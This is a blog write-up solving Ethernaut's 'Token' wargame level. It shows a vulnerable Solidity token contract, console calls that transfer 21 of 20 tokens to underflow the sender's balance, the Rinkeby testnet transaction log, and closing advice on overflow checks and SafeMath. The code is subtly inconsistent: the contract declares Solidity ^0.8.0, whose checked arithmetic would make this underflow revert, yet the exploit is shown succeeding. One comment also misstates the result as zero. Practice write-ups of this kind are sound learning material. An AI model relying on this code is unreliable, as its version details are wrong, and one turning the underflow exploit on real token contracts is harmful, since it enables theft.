🌴

Ethernaut-solution 5. Token

2023/05/06に公開

Ethernaut-solution

5.Token

The goal of this level is for you to hack the basic token contract below.

You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.

Things that might help:

  • What is an odometer?
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Token {

  mapping(address => uint) balances; //It's have no negative here, we're dealing with mapping to unsigned integer
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0); //this is know vulnerability or problem in solidity contract 
    //this is always going to yield true,  
    balances[msg.sender] -= _value; //msg.sender = player(me) this is gonna be yield token 20 
    //provide the current amount of tokens in this balances in mapping that th sender of this transaction has 
    
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

contract.abi //各functionの確認

(4) [{…}, {…}, {…}, {…}]
0:
constant: undefined
inputs: [{…}]
payable: undefined
stateMutability: "nonpayable"
type: "constructor"
[[Prototype]]: Object
1: {inputs: Array(1), name: 'balanceOf', outputs: Array(1), stateMutability: 'view', type: 'function', …}
2: {inputs: Array(0), name: 'totalSupply', outputs: Array(1), stateMutability: 'view', type: 'function', …}
3: {inputs: Array(2), name: 'transfer', outputs: Array(1), stateMutability: 'nonpayable', type: 'function', …}
length: 4
[[Prototype]]: Array(0)

await contract.balanceOf(player)

o {negative: 0, words: Array(2), length: 1, red: null}
length: 1
negative: 0
red: null
words: Array(2)
0: 20 //Token保有数
length: 2
[[Prototype]]: Array(0)
[[Prototype]]: Object

contract.transfer('0x3E6fA38c7A61E80090A21a02a036f26fA28EC69a', 20 + 1 ) //address _to , uint _value

//now 20 is going to be decremented by the value that we're trying to send which is 21.

//as you know arithmetic underflow is going to yield a result that's greater than what you expected

//知らん人にreinkebyのtokenを21送りつけて自分のbalaneをminusにする

contract.transfer('0x1e8f83b55e1fa534a885a270ef6ed48f26778278', 20 + 1)
Promise {<pending>, _events: o, emit: ƒ, on: ƒ, …}
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 ⛏️ Sent transaction ⛏ https://rinkeby.etherscan.io/tx/0xb9fa3072991a5b1e2bd1e9232c49469170be9ff7678b9fe942291eee9ca63142
e4e9b69aea3571538dca60595571493ed3b7d30d.js:1 ⛏️ Mined transaction ⛏ https://rinkeby.etherscan.io/tx/0xb9fa3072991a5b1e2bd1e9232c49469170be9ff7678b9fe942291eee9ca63142

//Tokenがzeroになったことを確認

>await contract.balanceOf(player)

o {negative: 0, words: Array(11), length: 10, red: null}
length: 10
negative: 0
red: null
words: Array(11)
0: 67108863
1: 67108863
2: 67108863
3: 67108863
4: 67108863
5: 67108863
6: 67108863
7: 67108863
8: 67108863
9: 4194303
length: 11
[[Prototype]]: Array(0)
[[Prototype]]: Object

Overflows are very common in solidity and must be checked for with control statements such as:

if(a + c > a) {
  a = a + c;
}

An easier alternative is to use OpenZeppelin's SafeMath library that automatically checks for overflows in all the mathematical operators. The resulting code looks like this:

a = a.add(c);

If there is an overflow, the code will revert.

Discussion